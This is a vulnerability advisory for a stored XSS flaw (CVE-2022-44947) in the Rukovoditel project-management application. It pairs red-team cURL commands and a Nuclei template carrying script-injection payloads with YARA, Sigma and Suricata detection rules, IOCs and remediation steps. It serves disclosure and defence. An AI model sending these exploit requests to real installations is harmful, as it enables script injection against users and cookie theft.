CVE-2022-44947

Executive Summary

CVE-2022-44947 is a stored cross-site scripting (XSS) vulnerability in Rukovoditel version 3.2.1. The flaw resides in the Highlight Row feature, accessible via /index.php?module=entities/listing_types&entities_id=24. An authenticated attacker can inject arbitrary web scripts or HTML into the Note field, which is then stored and executed in the browsers of other users viewing the affected entity listing. This can lead to session hijacking, data theft, or application defacement. The vulnerability has a CVSS score of 5.4 (Medium) and is confirmed exploitable with a public proof-of-concept.

Supply Chain & Package Security

Rukovoditel is a PHP-based project management application. This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) but is a direct code-level flaw in the application's input sanitization. Users should verify the integrity of their Rukovoditel installation and apply any available updates from the vendor.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authenticated user
• User Interaction: Required (UI:R) – victim must view the affected page
• Scope: Changed (S:C) – impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authentication but no special privileges. The stored XSS can be used to target other users, including administrators, potentially leading to account takeover or data exfiltration.

Deep Dive & Mechanics

The vulnerability exists in the Highlight Row feature of Rukovoditel. When an authenticated user adds a note to a highlight rule, the application fails to sanitize the input before storing it in the database. The note is later rendered in the browser without proper encoding, allowing arbitrary HTML and JavaScript execution.

Affected Endpoint: /index.php?module=entities/listing_highlight&action=save&entities_id=24

Attack Flow:

1. Attacker authenticates to Rukovoditel.
2. Attacker navigates to the Highlight Row configuration page.
3. Attacker submits a POST request with a malicious payload in the notes parameter (e.g., <script>alert(document.domain)</script>).
4. The payload is stored in the database.
5. When any user (including administrators) views the entity listing page, the malicious script executes in their browser.

Root Cause: Lack of output encoding and input validation on the notes field. The application does not use functions like htmlspecialchars() or equivalent before rendering user-supplied data.

Vulnerable vs. Patched Code

Vulnerable Code (Rukovoditel 3.2.1): The notes field is stored and rendered directly without sanitization. Example of vulnerable PHP code (hypothetical):

// Vulnerable: direct output without encoding
echo "<div class='highlight-note'>" . $note . "</div>";

Patched Code (Hypothetical): A patched version would encode the output:

// Patched: encode output to prevent XSS
echo "<div class='highlight-note'>" . htmlspecialchars($note, ENT_QUOTES, 'UTF-8') . "</div>";

Note: No official patch has been released by the vendor. Users must apply manual mitigations or upgrade if a newer version becomes available.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Valid user credentials for Rukovoditel.
• Network access to the target application.

Steps:

1. Log in to Rukovoditel.
2. Obtain a CSRF token from the login page or any authenticated page.
3. Send a POST request to the vulnerable endpoint with a malicious payload.

Example using cURL:

# Step 1: Login and get session cookie
curl -c cookies.txt -b cookies.txt -X POST "http://target/index.php?module=users/login&action=login" \
  -d "form_session_token=TOKEN&username=user&password=pass"

# Step 2: Exploit stored XSS
curl -b cookies.txt -X POST "http://target/index.php?module=entities/listing_highlight&action=save&entities_id=24&token=TOKEN" \
  -d "form_session_token=TOKEN&is_active=1&fields_id=193&fields_values[]=67&bg_color=&sort_order=&notes=<script>alert(document.cookie)</script>"

Expected Result: When any user views the entity listing page, the JavaScript executes, displaying the user's cookies.

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP POST requests to /index.php?module=entities/listing_highlight with suspicious notes parameters.
• Look for patterns like <script>, onerror=, javascript: in the notes field.
• Use WAF rules to block common XSS payloads.

Defense:

• Implement Content Security Policy (CSP) headers to restrict script execution.
• Apply input validation and output encoding on all user-supplied data.
• Restrict access to the Highlight Row feature to trusted users only.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /index.php?module=entities/listing_highlight with notes parameter containing HTML/JavaScript.
  • Unusual User-Agent strings or repeated login attempts.
• File IOCs:
  • Modified database entries in the app_highlight_rows table with malicious notes values.
• Behavioral IOCs:
  • Unexpected pop-ups or redirects when viewing entity listings.
  • Unauthorized changes to user accounts or settings.

Detection Engineering

YARA Rule

rule CVE_2022_44947_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Rukovoditel highlight notes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-44947"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $xss_event = /on\w+\s*=\s*['\"].*?['\"]/i
        $xss_javascript = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2022-44947 Stored XSS in Rukovoditel Highlight Row
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of stored XSS in Rukovoditel via the Highlight Row feature
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44947
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/index.php?module=entities/listing_highlight'
        cs-uri-query|contains: 'action=save'
        cs-uri-query|contains: 'entities_id=24'
        cs-uri-query|contains: 'notes='
    condition: selection
falsepositives:
    - Legitimate use of the Highlight Row feature with benign notes
level: medium
tags:
    - attack.t1190
    - cve.2022.44947

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-44947 Stored XSS in Rukovoditel Highlight Row"; flow:to_server,established; content:"POST"; http_method; content:"/index.php?module=entities/listing_highlight"; http_uri; content:"action=save"; http_uri; content:"entities_id=24"; http_uri; content:"notes="; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2022-44947

info:
  name: Rukovoditel <= 3.2.1 - Cross Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Rukovoditel v3.2.1 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the Highlight Row feature at /index.php?module=entities/listing_types&entities_id=24. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Note field after clicking "Add".
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/13
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44947
    - http://rukovoditel.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44947
    cwe-id: CWE-79
    epss-score: 0.01093
    epss-percentile: 0.78062
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve2022,cve,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=entities/listing_highlight&action=save&entities_id=24&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&is_active=1&fields_id=193&fields_values%5B%5D=67&bg_color=&sort_order=&notes=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true
# digest: 4a0a00473045022100d05d2256a2034b39ede2aaf6e3776a7fb751220a15a788712a2fcc70b0decb8f022037fd25d13a4fce67900807ec5af7cf0577bb70f0245976682a49b07734495db0:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no official patch exists.
2. Input Validation: Implement server-side validation to reject HTML/JavaScript in the notes field.
3. Output Encoding: Use htmlspecialchars() or equivalent when rendering user-supplied data.
4. Content Security Policy: Add CSP headers to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

5. Access Control: Restrict access to the Highlight Row feature to only trusted administrators.

Long-Term Fixes:

• Conduct a code audit to identify similar vulnerabilities.
• Implement a Web Application Firewall (WAF) to block XSS payloads.
• Educate users on the risks of storing untrusted data.

Workaround:

• Disable the Highlight Row feature if not essential, or manually sanitize all notes before storage.

Valters IT

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